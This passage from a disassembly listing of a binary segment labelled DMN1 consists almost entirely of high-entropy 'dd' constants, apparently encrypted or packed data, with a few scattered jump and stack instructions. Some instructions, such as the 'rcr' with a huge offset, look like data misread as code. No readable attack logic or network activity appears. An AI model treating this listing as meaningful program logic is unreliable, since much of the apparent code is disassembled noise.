		dd 758C012Eh, 6B27E086h, 5FB01D1Ah, 45E50DCBh, 838F8AD8h
		dd 0AA46D686h, 7F110D78h, 954A98F5h, 50561776h,	0BEBCA8EBh
		dd 685B2F34h, 0A79C3F6Ch, 9CE13145h, 74F90716h,	6544E21Ah
		dd 381F2AE6h, 0C79A1710h, 21FE3662h, 9A0AF933h,	3FE2C473h
		dd 9A621EF6h, 75ACB560h, 21F417C4h, 3853C1AFh, 304602DFh
		dd 0D7FD7BE7h, 0BAC4AF65h, 0E19D94F0h, 0A31610F7h, 0FA1F4053h
		dd 71832078h, 0F8A67E13h, 34EA5DC6h, 0D054D804h, 346A3CEAh
		dd 12F4B3EFh, 0B42D24CFh, 32360DA5h, 3CEEDB5h, 0BE6027DFh
		dd 0F689D436h, 0DB7440BBh, 336F8FAAh, 0C6DBDD6Ch, 933EF57Fh
		dd 0BB8874ADh, 0B7BB66D6h, 29847C3Eh, 0BAFE54D4h, 7DFAE895h
		dd 0BD4B59A5h, 63FECB26h, 0CF9EE9D4h, 9A21EDBEh, 55FE4892h
		dd 0EEE4CB51h, 283DF4EEh, 6C66471Bh, 76994B7Ah,	0C142AF8Ch
		dd 0A82FB594h, 490B9D10h, 0B8DE632Ch, 0E5374526h, 0C702EF71h
		dd 0F9A1636Ah, 40B945B4h, 164933E8h, 0A9D6BEh, 6F7A36FBh
		dd 36751BF0h, 0BB58074Dh, 93DABEB8h, 0E010F59h,	8703908Eh
		dd 0B6D837D5h, 0B1F4A52Bh, 0AC76FD5Dh, 9D8349F9h, 5E2EC0EAh
		dd 125F058Eh, 906CBC04h, 29A0A34h, 0D9CAACCEh, 2ECD67D4h
		dd 0C9E4CBFBh, 0C574C191h, 1773AF83h, 0AEC584DAh, 0A22A538Dh
		dd 37F80C3Ah, 0FD659781h, 0A830B08Eh, 95C0DBh, 938C0253h
		dd 43E933C5h, 2F68B5F9h, 569A449Eh, 9ADE9999h, 0E6FF871Ah
		dd 37D98322h, 9E08E26Dh, 0E09C7ED8h, 9D24E346h,	0F6843F45h
		dd 5FAA1C0Eh, 0FC603692h, 9B500D76h, 407C66AEh,	0BF6DA16Bh
		dd 0A7866A52h, 0A7F46F3Fh, 95EE6737h, 49B245B4h, 8BD51AF5h
		dd 9BEAB190h, 200F5F93h, 5745000Ah, 0EFFE3C46h,	143E88C3h
		dd 290F35A9h, 418197BFh, 769B5995h, 4834BFA9h, 14A77070h
		dd 4EE798B3h, 19D63B8Fh, 86E4063Dh, 0B1B8CCD2h,	43978A29h
		dd 541D8F69h, 95FB5D7Ah, 3BC0FD24h, 1249A04Dh, 5A7FC5C4h
		dd 49162E15h, 11F76913h, 9BAAA0AAh, 19A2D068h, 679A13FEh
		dd 271BC26Ah, 2BD935CEh, 0E0A639EBh, 0FC18242Fh, 4FF038F5h
		dd 5F128C48h, 0BF58647h, 21F8231Dh, 0A8CD5C44h,	0D344641Fh
		dd 4522B287h, 9EA4A660h, 0FFFCBD99h, 190410C2h,	0C27F499Dh
		dd 0F889B252h, 3F62D022h, 42F9860Dh, 0CFC593B8h, 4DB04C99h
		dd 27787E13h, 8278BC48h, 944CC18Eh, 73876787h, 0FB348511h
		dd 0F9CE32AAh, 4C683B00h, 683E8896h, 57372E8Fh,	0E2DDCEACh
		dd 5BD2266Bh, 0F3E7CA9h, 0AEA314AFh, 0B816EC9Bh, 631256Bh
		dd 0F9611B2Ah, 0EE0B75D9h
		dd 81BA8C7Ch, 7AF362h, 7555725Eh, 754498D6h, 52DB8676h
		dd 0BBBBBE74h, 228AC879h, 0BE8E8DDCh, 5A58C16h,	5157569Dh
		dd 9F944A2h, 0CBB2AC08h, 951A1D04h, 0A864A341h,	0E2462EAEh
		dd 191E3929h, 0E5CD8BDAh, 0A9980DA6h, 55402614h, 45CB2920h
		dd 7289B524h, 48556645h, 0AACCA86Ah, 682368D0h,	7D359D15h
		dd 0AB9430BCh, 3E95E211h, 97617554h, 2F020F91h,	216FD3ADh
		dd 1DD34B1h, 6848CCD3h,	29D4A21Fh, 0F1106998h, 0CD847179h
		dd 5D12B983h, 116862D0h, 0CE37CC2h, 256D5054h, 0DD325AB5h
		dd 0B6822BEh, 3C85EE48h, 0B711E3C2h, 87562A9Bh,	696090A7h
		dd 0C1415900h, 7997A2EDh, 9AA51A41h, 4FF2906h, 1C43E27Bh
		dd 88AD51F9h, 1909E564h, 4F3B0439h, 86E8471Bh, 0EF584865h
		dd 50A73AFCh, 0D3EF818Ah, 0E1C56BF1h, 2C83C086h, 8E1D875Ah
		dd 57C952F4h, 0A3D82422h, 23D21F66h, 5F8DBA33h,	0C1A087E4h
		dd 0C5331A56h, 1F5E44F9h, 116B5747h, 23FD8E21h,	44DAC92h
		dd 6AE8F616h, 0DC3484C5h, 0FA5A03B1h, 62E093E7h, 0AA273A8Fh
		dd 6BA5E376h, 0AE5651C1h, 0E09CA145h, 22133194h, 0FE91D201h
		dd 946A3B06h, 50BF08F6h, 5F84B55Bh, 86ECD9B7h, 3B45086Fh
		dd 89D67B3Ch, 27861B05h, 10BB4238h, 0B0E57DFEh,	0AC02DB13h
		dd 8FAA0720h, 1D8D086Eh, 0E8A87CA2h, 0D19AD8BAh, 493588D4h
		dd 0C1A4878Fh, 90EB4171h, 9E443784h, 0BC84E07h,	0A1450791h
		dd 7FF1DB64h, 11F85C78h, 3E25092Dh, 0BCEAEB33h,	0A14C16CDh
		dd 0E2FDC05h, 0DC325BA9h, 9CD53CCBh, 2A744658h,	0BD46CB1Dh
		dd 6A2C8217h, 894C2E82h, 335A2F97h, 5B1D1F59h, 0CCB6C2AEh
		dd 7AB62488h, 0ACB5A159h, 65D1C22Eh, 0FC7FD3A4h, 0D99FAE30h
		dd 920BA589h, 0B0D3B36Dh, 5D3C8075h, 54924E12h,	0F4A20981h
		dd 88D65246h, 95B30E9Eh, 0E9D05C02h, 9A7E5C3Bh,	30D769EBh
		dd 7B3E8748h, 0BB875275h, 9384996h, 0C16BFCCDh,	6B4736E3h
		dd 0E1DF6BA1h, 4C5D84CCh, 1E65FDE3h, 478734F7h,	7C39B96Ah
		dd 0B8DA8CC9h, 0A45CADD0h, 411FD061h, 50C16393h, 0FD153DA0h
		dd 2743C0F7h, 0AAD9753Ah, 0F74201B9h, 235F4D3Ch, 0FA907BDCh
		dd 423E1C97h, 56F54CA9h, 668D6249h, 2BFA636Bh, 0FF7C67B9h
		dd 0BB4A2D4Fh, 0CAA41590h, 0A75BFD71h, 0FD543BF8h, 0B2016CF3h
		dd 1539A0C5h, 2FB51AE9h, 50F0ECCCh, 0ABF9EB13h,	5694A423h
		dd 2F85D714h, 2CAA3D74h, 1F41027Eh, 4A0CEFDBh, 1B53EF62h
		dd 0C2AB1EAEh, 949C7C06h, 45D9721h, 1EACB0EDh, 6194B3E9h
		dd 5D3F87D2h, 250B8A8Dh, 0FB92938Ah, 147281B0h,	733EAB4Ah
		dd 6F312AD2h, 0C27F5860h, 9CD53A99h, 4771A4E5h,	0CB927374h
		dd 8B62DF7Bh, 0E8EF155Bh, 653EA82Bh, 2E91D296h,	39F2F7F1h
		dd 0EB251F6Dh, 4062B634h, 19CD937Ch, 0C3400209h, 82542171h
		dd 0A8510E23h, 0C4EEA175h, 0A6922496h, 373C44A0h, 0B66FBDBh
		dd 3630A5BFh, 50E7A03Ah, 225C034Ch, 0A3414C79h,	0A5D64576h
		dd 98F7190Fh, 369A856Bh, 96C2F65Bh, 0D159811Ch,	0E0931036h
		dd 0EB21A169h, 0C61070C9h, 1D7D81D6h, 97C899C3h, 84D51E71h
		dd 599B8FA0h, 8CA43F4h,	3A478499h, 70EE139h, 8113C561h
		dd 399FA6CAh, 9B34D95Bh, 88AE3424h, 8DA614DCh, 0AB3B8493h
		dd 0DA6D5A2Fh, 488CBF98h, 433DB0CBh, 7ADD8C83h,	0A8E43453h
		dd 2F4E8F82h, 0A6118FFh, 0A9AE7E7Fh, 21D9F3AEh,	0ED726FCDh
		dd 3C337618h, 66E72C3h,	4DCB2292h, 6F00DDB0h, 78632ABBh
		dd 0C8A98405h, 7E36D44Fh, 4A22595Ch, 4B813D19h,	0C83DCBA9h
		dd 4B876BABh, 3FD7B34Dh, 0DE5C542h, 0C78E623Dh,	5F440A7Fh
		dd 5213BD04h, 175403EAh, 0F086951Eh, 5F716EE6h,	0C071A9A0h
		dd 0F854B882h, 0FFD56ABEh, 16635ADDh, 4425AF3Ch, 7EC6B8BEh
		dd 21AAEBBDh, 0F91693D4h, 51EA9FC4h, 0EE7A161Dh, 64E72764h
		dd 7144F312h, 3E8D6777h, 6E195D3Ch, 59981205h, 0FBB3E4CCh
		dd 2AD91CEFh, 32F697DDh, 9F561815h, 74654E21h, 0D73B664h
		dd 607BEE5Ch, 881651F1h, 8D8A658Ah, 0F25E516Ch,	8722BBBEh
		dd 5595038Fh, 0B8C8FB1Eh, 0AAF91D99h, 0A969BC29h, 0A1D3EE35h
		dd 0F4A4D55Eh, 0CB83DD41h, 0E2D1286h, 66DEE831h, 0E1968D6Dh
		dd 78260512h, 7EAC2CC0h, 81D994ABh, 351275AEh, 1F9C869Fh
		dd 3779A61Ch, 67D75D1h,	0EA93F468h, 4101AA13h, 4D1389CFh
		dd 52824564h, 1C2F34D2h, 0F45724E0h, 0F9A9C9B5h, 0B655D8D4h
		dd 0E181822Ch, 2A370341h, 9F84FF8Ch, 515C320Ah,	0AAE5E6ADh
		dd 9DC68B6Eh, 9A229F07h, 9925B873h, 14C44333h, 0B03C415Ch
		dd 5889881h, 99453997h,	59B6835Ah, 91FDCA7Ah, 97FA408h
		dd 0FE5E80FFh, 0D8B682DFh, 0A559ADD0h, 3130839Dh, 0C4FBEFF9h
		dd 0C9EEBB3Ch, 0D799E06Ch, 40983D10h, 50C93007h, 2F3C6B72h
		dd 2D38A81Eh, 1E34E7F7h, 518BD974h, 38B87551h, 0AF086FC8h
		dd 2DD10846h, 4D3DF70Ch, 3D5E8BF2h, 3196AC0Eh, 0D61A750Ch
		dd 847436BAh, 784AEC24h, 9AE7003Fh, 8EE67EBEh, 0BCF38063h
		dd 10233656h, 0C8892ABh, 38FF73Bh, 0D0E95F31h, 0FBFF80A5h
		dd 34D71DCCh, 9F521301h, 9C821512h, 0DF917019h,	3F26698Ah
		dd 5EB3D54h, 39BB4F22h,	3729Ah,	7A72FB62h, 2BD7FD0Ch, 0B3FEC3C3h
		dd 4AFDE8ACh, 0D3CE5B99h, 0DDC7085h, 37B88C44h,	2C8BB584h
		dd 35DE00B7h, 0BFB7AA0Fh, 27B6DCF2h, 0ADEB4A91h, 0C1278C9Eh
		dd 0F08659DBh, 0CB6479E7h, 59B8695Dh, 8C30768Bh, 70E50503h
		dd 0D56CA09Ch, 56BEE639h, 0BD02DE66h, 0F8DFE5E8h, 0BE715A9h
		dd 93AC0E4Bh, 0E012DB5h, 8CD5C2A0h, 8F9F57F7h, 0B744C0A0h
		dd 975CB3F0h, 0ED0CD0EFh, 2DB0D06Bh, 0C3713D8Bh, 12CA7417h
		dd 895F8BC6h, 1EB160A6h, 78F27F81h, 3E8A26Bh, 0A535E0BDh
		dd 6810FB55h, 0D29744A7h, 0BAA940EDh, 5B03FFFDh, 35EF22E0h
		dd 0CC07DC01h, 3538EE44h, 64CD1FD7h, 407AA485h,	56C84BE8h
		dd 0D91F6260h, 58319FBAh, 860B50EAh, 54F98A83h,	51BB822Fh
		dd 0F9314D41h, 0AFDB7685h, 1803766Eh, 288980Ah,	82FDEA2Fh
		dd 28EF734Ah, 0B864AF7Bh, 0E7F041FBh, 8B78B2E9h, 0BE747874h
		dd 2B12398Ah, 0D08E7D9Ch, 24BB6863h, 0CFE56501h, 0E6B31C30h
		dd 0E8DA521Ah, 0B2DE70CAh, 485F588Ch, 0B13B190Dh, 4DEE7779h
		dd 0BA4CEF0Eh, 0DE4E9016h, 0BAD7AB74h, 9B0A33FCh, 6835C1B5h
		dd 0BDC026FBh, 7E6DEC9Bh, 26751D3Dh, 1E2ABFEDh,	0EFE7D985h
		dd 99663C59h, 0B6FFE349h, 10943276h, 0ECC39E91h, 755B64FDh
		dd 75693268h, 5026AE28h, 93B50CA6h, 4D07BCB9h, 89E15D59h
		dd 25162AC3h, 337F84B0h, 0F2D5BF7Eh, 71324CC0h,	0D2C401D1h
		dd 0A5B800D9h, 97D2665Ch, 0C768E9FFh, 6BE3EA8Fh, 0FF9EFAF5h
		dd 0C86A0C14h, 10DABE94h, 8C64F611h, 0ADF0485Dh, 39DAF1D9h
		dd 0BA5EDA44h, 4F8E13F8h, 6CC249B9h, 3A7D7683h,	3AC674DBh
		dd 0E9F5F85Bh, 19F081EAh, 9ED8404Fh, 94304DB4h,	8C86DE5Dh
		dd 4ADA8884h, 784FC734h, 2693095Ah, 7F934C3h, 8F70B157h
		dd 51AE6DD6h, 3ACA1FC9h, 679195C2h, 4336B13Eh, 65710E9Ah
		dd 930EB870h, 5372F988h, 2C949ABDh, 0BD0635FEh,	5A1C33FFh
		dd 0F150068Bh, 8D4541C3h, 2F1CD1EBh, 94596346h,	89D93E7Bh
		dd 0B44198F9h, 0A00D22F3h, 0BC3600F1h, 735B9E2Eh, 48A4C46Bh
		dd 2D1F4220h, 8E23ACB1h, 4B0189A9h, 0E16A8EA7h,	52BD48CDh
		dd 0D444F94Eh, 0A07D6CC9h, 286071A4h, 7D6052F3h, 2129FF93h
		dd 5AC308B4h
		dd 9CD15A08h, 67A4B011h, 0A70F820h, 822C8158h, 0A36E956Ah
		dd 507EACE9h, 0F336460h, 0DCE04268h, 20AF08BDh,	436C1680h
		dd 0C7D66A6Dh, 738484E7h, 91A46135h, 0F1A73879h, 22AC3EF7h
		dd 5E5FA253h, 68BAAB3Ch, 7EED59E6h, 2BBBB0E5h, 5429CF59h
		dd 9A48CB8Bh, 0C77E6D6Bh, 5FDC3A15h, 0B4941F1Bh, 415472ACh
		dd 0E36A9155h, 8E9C3AA9h, 0A1FC06A6h, 0C877AF9Ch, 79ABF574h
		dd 0D5471A5Dh, 7C568F54h, 4A1B943Ah, 52CB3B49h,	29372240h
		dd 800C3C53h, 255D5F49h, 18A82527h, 650A4E78h, 42A8C2FCh
		dd 8B1C6EC8h, 462C74F4h, 0AA8AA241h, 6F8B847Fh,	0B7DBB357h
		dd 9B70EADh, 0D710673Fh, 6A4AA9AAh, 0AD632F66h,	291E996Ah
		dd 0A68155A4h, 0C4325019h, 0FE09A967h, 20359B9Bh, 0F9305D70h
		dd 0D962E2AEh, 0A8BAF6D7h, 350DC1EFh, 0A438A99Fh, 91FDFA11h
		dd 7F4FF8EAh, 9B78EE1h,	732ED740h, 0E9A55A4Fh, 0D2F5C1E5h
		dd 0F589CCC5h, 919F225Dh, 804B557Ch, 784F85B4h,	0AE91AFFh
		dd 0F7763F43h, 101991FEh, 1301E27h, 3321F9CFh, 4479CA1Dh
		dd 19127115h, 4EE614Eh,	0AB8EEEE5h, 0BDCDDCF9h,	5D5212F9h
		dd 838C7205h, 8DB44A47h, 0A56D043Ah, 0AEA781CAh, 863E16EEh
		dd 69F1164Fh, 2363023h,	0ECA1AFDFh, 0ABC3D6A6h,	0CEACC06Eh
		dd 0DA572E25h, 0E92209CFh, 0B6926FECh, 4844AA4Ch, 687F1740h
		dd 5C38BCBFh, 0A2A77E3Bh, 4851C940h, 14B25F0Ah,	0A5FF41C9h
		dd 2D3C41D9h, 3A519CCh,	66F5F6C8h, 4D134F62h, 85017F5Fh
		dd 3A9E61C4h, 571299Eh,	0A00AD812h, 0DBC869F2h,	28BEA3FCh
		dd 0B0675802h, 7BAA5F58h, 34808E61h, 5EEB8633h,	0EA5E8F4Dh
		dd 0C585E843h, 8C32D14Eh, 6D0728AEh, 0CFBD6B3Eh, 0B4444063h
		dd 42D7527Ch, 0CEABA589h, 0C1646088h, 2064C472h, 6DA901BEh
		dd 92B1067Bh, 9F875FD0h, 0A2B8E436h, 0EC28EF17h, 0F3A23EF5h
		dd 93A54A6Dh, 1A275CE8h, 557C838Bh, 7C7EC7C6h, 0A43029F0h
		dd 95C73D3Ah, 0FF703E2Fh, 32E7FA9h, 0C8D01443h,	2DB5FA11h
		dd 9BFC8B9Fh, 0F2144499h, 7481C4ECh, 0C2ED9380h, 0D05EFC7Bh
		dd 869D770Fh, 0E0E78E7h, 47CB119Ah, 0CC21C9ABh,	61CBA84h
		dd 7AB3A1F4h, 0BD4E99B6h, 0C3E1CD3Eh, 0F3A13A11h, 3EA48260h
		dd 0B9592E5Bh, 3CDDE827h, 7A926830h, 6CAFAA11h,	7D48D7E5h
		dd 0E7FDD033h, 32F0219Ch, 0CBB7652Ch, 230241AEh, 0EE1FFD93h
		dd 484BB288h, 0D0295695h, 25B7C220h, 0A7584936h, 9740CC44h
		dd 3D4CA637h, 2FD3D170h, 1196195Eh, 3A856543h, 68E29802h
		dd 0E371F5B1h, 750AB19h, 2E7B475Fh, 18F7BBD0h, 39F994F2h
		dd 7C8C6A11h, 515D255Ah, 0DDB3A4B0h, 43400B7Fh,	50A19C2Eh
		dd 3D624549h, 31C3F921h, 645701A5h, 0D2E00A6Ch,	1636517Eh
		dd 0C4807560h, 0AED1A9F9h, 50F3ED2Fh, 0E1FE25DCh, 2FF36727h
		dd 0A137C2D7h, 31234C77h, 5A53A7EAh, 16A2063Ah,	398E101h
		dd 0D1561D10h, 5885DF38h, 702FF2DDh, 2CEFCCD0h,	991A71CCh
		dd 0C53756AFh, 57EDC1CFh, 0F2DAC6D2h, 52CD6E2Fh, 7A61DBEBh
		dd 5B6D375Dh, 24FC75C3h, 707A03EDh, 4BEB97F4h, 25821E99h
		dd 2D4A97CCh, 0A79E8E02h, 0DB77E74Fh, 5F7DC405h, 0A487F350h
		dd 1EA3DBF5h, 1452DFC6h, 0EB7A640h, 0D1C7FF4h, 79495EB7h
		dd 0D2779DA7h, 4C30B8EEh, 4F2E7183h, 0BAC17507h, 650A38FAh
		dd 0EE7F49E7h, 23A68985h, 85463F8Dh, 0B70FE8F6h, 1602F69h
		dd 75F352ECh, 6C4DF148h, 4B253D8Ah, 28A6019Dh, 2A50981Ch
		dd 0C50F526h, 0E9357941h, 0EC191C6Eh, 0F8334C20h, 5F349143h
		dd 0D4ECBD6Ah, 0FFDBEE12h, 6EF4332Fh, 0C724B670h, 5B9AB21Fh
		dd 53282B7h, 0CA20DB9Eh, 0CF624831h, 0F2ED966Dh, 6A028F68h
		dd 0BE06814Bh, 0ABA17E91h, 17B25DC5h, 8E50E24Ah, 79EC7BF6h
		dd 39CE4D0Ch, 0E33C166Eh, 56629D38h, 23D9FD47h,	0DDA1BDDFh
		dd 0A36BB618h, 5BF86D26h, 58C89A6Bh, 0D9AAC898h, 4A823370h
		dd 0BCC83433h, 760A8F4Eh, 9EA0441Eh, 927641h, 57E3E47Fh
		dd 298EAB3Eh, 0B2D1B54Eh, 0BA535938h, 0F8720510h, 0EDAB55EAh
		dd 0DD916264h, 6E39380Fh, 0C63DEE80h, 0C31B5B04h, 36E4DFA6h
		dd 0DFA8E910h, 0DEA7DEF3h, 2C73BDFCh, 0CA99919Eh, 0B3F8C094h
		dd 0DCEE59EBh, 20D1F627h, 9AC57D2Ah, 2B8ABA46h,	0A8FE991h
		dd 8DD1A7Bh, 66B78A87h,	1E23FD63h, 0F551756Eh, 47D5F158h
		dd 1C222FACh, 0DA8C6378h, 90E6B57h, 5678C2F9h, 9B1AA213h
		dd 0F709E0E5h, 0F973C997h, 0CBAD2488h, 0A7504184h, 42305A8Ch
		dd 33BFE8D1h, 6733FC75h, 8B3C12F5h, 753A990Bh, 18AF7094h
		dd 4ECEC5DCh, 41815828h, 8007422h, 5376C061h, 0A796A80Ch
		dd 0CD38CCDEh, 0AAC8169Fh, 0FA45119h, 117993F5h, 8282B282h
		dd 5076CEB7h, 596FF250h, 0F13A1865h, 3E149A30h,	15E7C134h
		dd 0A86BED01h, 14252970h, 4C91CA9Eh, 4875D575h,	369999E3h
		dd 0C88F5E50h, 15BBCE01h, 8E9873A3h, 0F28695FDh, 96C9F327h
		dd 8142DAF3h, 95DA6B28h, 730885C6h, 8BE5BA8Fh, 71842960h
		dd 0E27CBC0Ah, 9C686D70h, 0B2EBF5C6h, 7CB3E0D0h, 0EBF9CB4Ch
		dd 5618E61Fh, 350B9EBEh, 2DFB9B50h, 0E23EE133h,	0FEAD8165h
		dd 2856BD65h, 85A0722Ch, 4FA2C4C7h, 0E86C253Bh,	1B4A039Ah
		dd 7DC73C1Bh, 0F7B25B74h, 370CBC12h, 8E7E3668h,	3FE8E079h
		dd 0B3CD9061h, 8963BC2Ah, 0D08389F1h, 0F361AB38h, 0D82FCD75h
		dd 71D6A0C1h, 65DB0F6Dh, 894DCB19h, 0EA4089F3h,	0B4609C1h
		dd 0CCC20396h, 77E16265h, 0BC5A7861h, 0A9431973h, 0BD0D6B81h
		dd 0AF77C3EDh, 5E6E5F62h, 33A45914h, 38E3DEE4h,	0C6390852h
		dd 20C4C599h, 0B8B933A8h, 0A9200A39h, 22FA4D3h,	410AB789h
		dd 0B1F5F6F2h, 0CE3167D7h, 0A2D49799h, 0A99F68Bh, 4B87B048h
		dd 557E0385h, 5FCFB298h, 662E4536h, 7B7796D9h, 0AD9453C9h
		dd 74A60AD1h, 147AEBF3h, 0BB34FF99h, 0D0955A82h, 0B9EA4486h
		dd 71DB2E9Bh, 0E5CFDDB5h, 0A1104F32h, 29D49891h, 0A2CE2E6Bh
		dd 915F5358h, 270CB4DFh, 0CE070ECEh, 2D53BA15h,	8CC2064Fh
		dd 0F067982Dh, 0F074E71Ch, 0B355DD08h, 0CAF6D4AEh, 53401F5Ch
		dd 9718997Ch, 0E95916FEh, 0E7436C47h, 82251D98h, 0AA726DC6h
		dd 0CF980640h, 655B0BF5h, 2B8CB869h, 0BD55F5AEh, 1E7D2F31h
		dd 43B19528h, 0EDB391F3h, 1F39996Bh, 5B701443h,	0D9CF4766h
		dd 10521BE9h, 9042AF47h, 0A0C3EE3Ah, 6D3C15A1h,	0CC21FA0Fh
		dd 0EA924915h, 6869537Bh, 0DC9DB45h, 2D33CEDFh,	1097C67h
		dd 0C7C2B97Eh, 655E5EEEh, 0D6B53EB8h, 46CD718Ah, 6E55EB17h
		dd 0BA5138A8h, 87003318h, 6806140Bh, 7CC18580h,	81396E71h
		dd 0AD59B331h, 0CC2E57ABh, 0C902C043h, 0D45BAFF3h, 0D63AB7E8h
		dd 88FFDBD4h, 9A3F490Eh, 7AE7F71Dh, 7BB8C136h, 0A301C1C0h
		dd 0F4D12AEh, 524C0D56h, 4759F47Fh, 9D8F457Ah, 0F3ED88Dh
		dd 1C1599A8h, 83A3314h,	7F8204D7h, 0E2E42C21h, 0EDC974CEh
		dd 30C9DB4Eh, 9BE67C5h,	502FC59Eh, 5E1FA63Ch, 787F7684h
		dd 9744EBF8h, 54678A01h, 6640E06Ch, 464A7646h, 3DB0473Bh
		dd 0C1D097A0h, 1F70F9B1h, 0E7B19F90h, 430F7234h, 28073072h
		dd 49CA5035h, 120A0E46h, 0AE61AB80h, 22150F8Bh,	2825C1D0h
		dd 15E38893h, 0CB3C56AAh, 0FA02942Fh, 4864462h,	8EBFC802h
		dd 4A2901Bh, 6BE63F4Ah,	0C275338Eh, 0C7F1B423h,	83ECBC61h
		dd 46233266h, 0ACFA11BEh, 1034764Eh, 0B352339Ah, 8B88107Fh
		dd 4B99E4ABh, 4F09DFCDh
		dd 96BE405h, 479225DBh,	0F9763E12h, 77CCCAACh, 9E9F67C4h
		dd 2C1EE37h, 59E51B2Eh,	27BF1E2Ch, 62AAAA8h, 0EE87BA7Ch
		dd 63A4780Dh, 3B255176h, 914F8B5Dh, 618AB85Fh, 0B9AC3F2Fh
		dd 0D76CCA57h, 0D63CDD6Ch, 0E440AEB7h, 7BE508E9h, 0BF5BC0E7h
		dd 0D3D8FE34h, 0DC440444h, 0CED6653Dh, 0A8E3F610h, 1BB1ECAAh
		dd 467728FAh, 5878E49Ah, 0AC9E3537h, 0EE843953h, 2FFD02F7h
		dd 0BDF17A18h, 9200FFA8h, 9781560Ch, 68B2402Bh,	733E24CCh
		dd 33649121h, 78B106F6h, 9BA0087Fh, 0F7139316h,	6584DA5Fh
		dd 0B4F7B701h, 503C9B33h, 8D0BC204h, 853E7C6Dh,	0B01B9C39h
		dd 0AFF21E41h, 2CE7B503h, 2979007Ch, 9E05020Ch,	338BBF0Eh
		dd 9014BEFDh, 0B1E6736Dh, 0CA5EAAEAh, 1EEB8644h, 87022B99h
		dd 0CB75488Ch, 0B67F7E4Eh, 297FA6E5h, 0E666798Fh, 197E47A8h
		dd 0D90FAD5Ch, 27491BE2h, 0DE7EEE70h, 59A4872h,	0B21BD5D5h
		dd 4F861C1Fh, 0ADE7E04Eh, 7F7B34A5h, 4345D09Dh,	0FFDAB455h
		dd 3BE6086Eh, 895E6DD7h, 25637BC7h, 2352C821h, 9595BB49h
		dd 2F0C6F4Bh, 0A2B9326Dh, 0E50031BAh, 2BCF6A6Ch, 47D55DA4h
		dd 6742FEE2h, 3E57418Dh, 1A0DF2A4h, 0AE056336h,	68A2069Ah
		dd 2D7170CCh, 0DE8E44F9h, 221FE960h, 0C2A0CA88h, 0AD78CBF2h
		dd 24CB7E5h, 0EA5100D8h, 9C5A0996h, 8A01528Eh, 10554DF4h
		dd 3CF14593h, 0E166D8CFh, 0FF5D7D32h, 4D28B005h, 0A60B76EFh
		dd 0BB126A13h, 8C6263D3h, 928796C2h, 0CF596C35h, 0C8186435h
		dd 0D9172C91h, 7291213Dh, 729F5CE5h, 13D0BE74h,	0CA8CEAE7h
		dd 0FEEB10A0h, 0A9B4B615h, 8EEFFEDDh, 0F08FD01Ah, 63AB5666h
		dd 2A6FDC94h, 0A5D3CA6Dh, 4CF6B902h, 6FE339FFh,	69BE484Ch
		dd 0EE6D3FEBh, 56B7B206h, 0CF0B0F88h, 27F42B5Eh, 0BB9852A4h
		dd 259A7C8Fh, 3617A4A0h, 0AB40A4D3h, 0F41DA3Fh,	1F189181h
		dd 6D446AB1h, 0A8BBC5E8h, 8E433573h, 0F5524CFFh, 7B410B9Eh
		dd 19ED152Fh, 8A497684h, 4E1D9F31h, 868EF7D8h, 409CA25Ch
		dd 767333F8h, 839E6503h, 381169CCh, 0E5BD13A8h,	400014F5h
		dd 0BB84699Fh, 46DC1A23h, 38232B55h, 74B8CAFCh,	3735CC15h
		dd 29B739EEh, 65A03F3Ch, 0EF9E7277h, 0D5E3DED5h, 7D75D289h
		dd 6045848Ch, 3C81E80Eh, 7F76272Eh, 0EE94163Fh,	94FC644Ch
		dd 160CD528h, 128D63B4h, 45399E2Bh, 0DD222F88h,	0BCA3F2C4h
		dd 0A4BAFC80h, 0B49551E6h, 94D47C97h, 93CB6600h, 0BDD3B2EDh
		dd 5ABB889Fh, 0DEF76EE3h, 78FE0AEDh, 0B070E473h, 1B70FFF3h
		dd 740E059Ah, 6F48A005h
; ---------------------------------------------------------------------------
		jnb	short loc_46BC60
		pop	ebx


loc_46BBFB:				; CODE XREF: DMN1:0046CA9Aj
		popa
		pop	ebp
		jmp	loc_469C00
; ---------------------------------------------------------------------------
		dw 0EFA6h
		dd 26BD6418h, 0A41F2B16h, 0EE08660Ah, 767FE731h, 50909EC8h
		dd 56999F79h, 78BBA6EEh, 343D9B2h, 2E9FCBCh, 43DE0A39h
		dd 1BCD805Bh, 6953227Ah, 0B6E37F85h, 0C982F540h, 0DF20A3D0h
		dd 0DB334213h, 78C11EA6h, 0C0BD6842h, 594DF63h,	35EFD33Bh
		dd 0DB42A3B9h, 2FCBD189h, 8271CE38h
; ---------------------------------------------------------------------------


loc_46BC60:				; CODE XREF: DMN1:0046BBF8j
		rcr	dword ptr [ebx+3AFE85E8h], 36h
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E8D60792h, 0C284FE56h, 57C65E80h, 0A04A5F6Ah, 71249045h
		dd 0A082545Eh, 0D7302976h, 5C54C303h, 7CE394Bh,	112F9015h
		dd 962BA16Eh, 0E29423ACh, 0FEA3253Ch, 5D186B7Ch, 0B27C0F71h
		dd 0F57BAFE7h, 0EE437B7Ch, 504C16F7h, 0C8578804h, 369E1753h
		dd 5BB581DCh, 55ABF0B4h, 0E07BDFE3h, 3BB0633Ch,	0F170D1AEh
		dd 8E2EB7C5h, 9AAD4D84h, 6D3CF5ACh, 0D5ECAF47h,	0F3AD038Bh
		dd 0E5CCF78Ah, 6AF720DBh, 0A191EE23h, 622C628Eh, 4AC28E87h
		dd 3781E883h, 0C6500D0h, 0AC3E9C9Dh, 74E23833h,	0E1EB6104h
		dd 0D1BE30E8h, 1C8A9527h, 4798EA9Fh, 63B7E11Dh,	6667B259h
		dd 228B16C8h, 0B9300BD7h, 0BA971019h, 2D62656Bh, 0E0903218h
		dd 79CA3865h, 0BC2A6D6Fh, 2E655F92h, 8202602Ah,	0A0DF0A3Eh
		dd 0BD490D24h, 1DCE01C6h, 0C130AD39h, 0C853E9B7h, 0D9BA6166h
		dd 603F23A7h, 76309E73h, 92E623A9h, 4AD0C311h, 0A9971E76h
		dd 0EF7F9E51h, 0CD27229Eh, 352D4319h, 0FC4F1A9Bh, 7699E75Eh
		dd 8237A674h, 0B1A234F7h, 705A9F2Fh, 0B9992272h, 0ACB5CC4Dh
		dd 0A15719FEh, 45B220B5h, 35021EFEh, 0ABA700FAh, 10AB700Eh
		dd 52CB181Bh, 31290DDCh, 0AA37DE71h, 4DCF1DA0h,	0A124F556h
		dd 6452F1C5h, 0D55C256Dh, 292B079Bh, 976D4EA9h,	0DC0886EAh
		dd 0EE03D129h, 0A16AE90Dh, 42623E0Dh, 5B65A01Ah, 0D105E102h
		dd 0DAA17D67h, 56D6942h, 76907082h, 8347162Bh, 123AE3A3h
